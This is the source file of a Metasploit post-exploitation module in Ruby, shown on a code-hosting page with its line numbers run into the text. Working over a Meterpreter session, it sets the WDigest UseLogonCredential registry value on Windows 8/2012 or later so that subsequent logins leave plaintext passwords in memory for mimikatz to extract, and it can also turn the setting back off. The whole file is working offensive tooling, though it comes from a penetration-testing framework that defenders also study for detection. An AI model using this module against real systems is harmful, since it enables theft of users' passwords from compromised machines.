Path: blob/master/modules/post/windows/manage/wdigest_caching.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Post::Windows::Version89WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'.freeze10USE_LOGON_CREDENTIAL = 'UseLogonCredential'.freeze1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Post Manage WDigest Credential Caching',17'Description' => %q{18On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables19credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key.20Any subsequent logins will allow mimikatz to recover the plain text passwords from the system's memory.21},22'License' => MSF_LICENSE,23'Author' => [ 'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>'],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'Notes' => {27'Stability' => [CRASH_SAFE],28'SideEffects' => [CONFIG_CHANGES],29'Reliability' => []30}31)32)3334register_options(35[36OptBool.new('ENABLE', [false, 'Enable the WDigest Credential Cache.', true])37]38)39end4041def run42hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']43print_status("Running module against #{hostname} (#{session.session_host})")4445# Check if OS is 8/2012 or newer. If not, no need to set the registry key46# Can be backported to Windows 7, 2k8R2 but defaults to enabled...47version = get_version_info48if version.build_number < Msf::WindowsVersion::Win7_SP049print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...')50else51datastore['ENABLE'] ? wdigest_enable : wdigest_disable52end53end5455def get_key56# Check if the key exists. Not present by default57print_status("Checking if the #{WDIGEST_REG_LOCATION}\\#{USE_LOGON_CREDENTIAL} DWORD exists...")58wdvalue = registry_getvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL)59key_exists = !wdvalue.nil?6061print_status("#{USE_LOGON_CREDENTIAL} is set to #{wdvalue}") if key_exists62return wdvalue63rescue Rex::Post::Meterpreter::RequestError => e64fail_with(Failure::Unknown, "Unable to access registry key: #{e}")65end6667def wdigest_enable68wdvalue = get_key69key_exists = !wdvalue.nil?7071# If it is not present, create it72if wdvalue == 173print_good('Registry value is already set. WDigest Security Provider is enabled')74return75end7677verb = key_exists ? 'Setting' : 'Creating'78print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 1...")79if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 1, 'REG_DWORD')80print_good('WDigest Security Provider enabled')81else82print_error('Unable to access registry key - insufficient privileges?')83end84rescue Rex::Post::Meterpreter::RequestError => e85fail_with(Failure::Unknown, "Unable to access registry key: #{e}")86end8788def wdigest_disable89wdvalue = get_key90key_exists = !wdvalue.nil?9192# If it is not present, create it93if wdvalue == 094print_good('Registry value is already set. WDigest Security Provider is disabled')95return96end9798verb = key_exists ? 'Setting' : 'Creating'99print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 0...")100if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 0, 'REG_DWORD')101print_good('WDigest Security Provider disabled')102else103print_error('Unable to access registry key - insufficient privileges?')104end105rescue Rex::Post::Meterpreter::RequestError => e106fail_with(Failure::Unknown, "Unable to access registry key: #{e}")107end108end109110111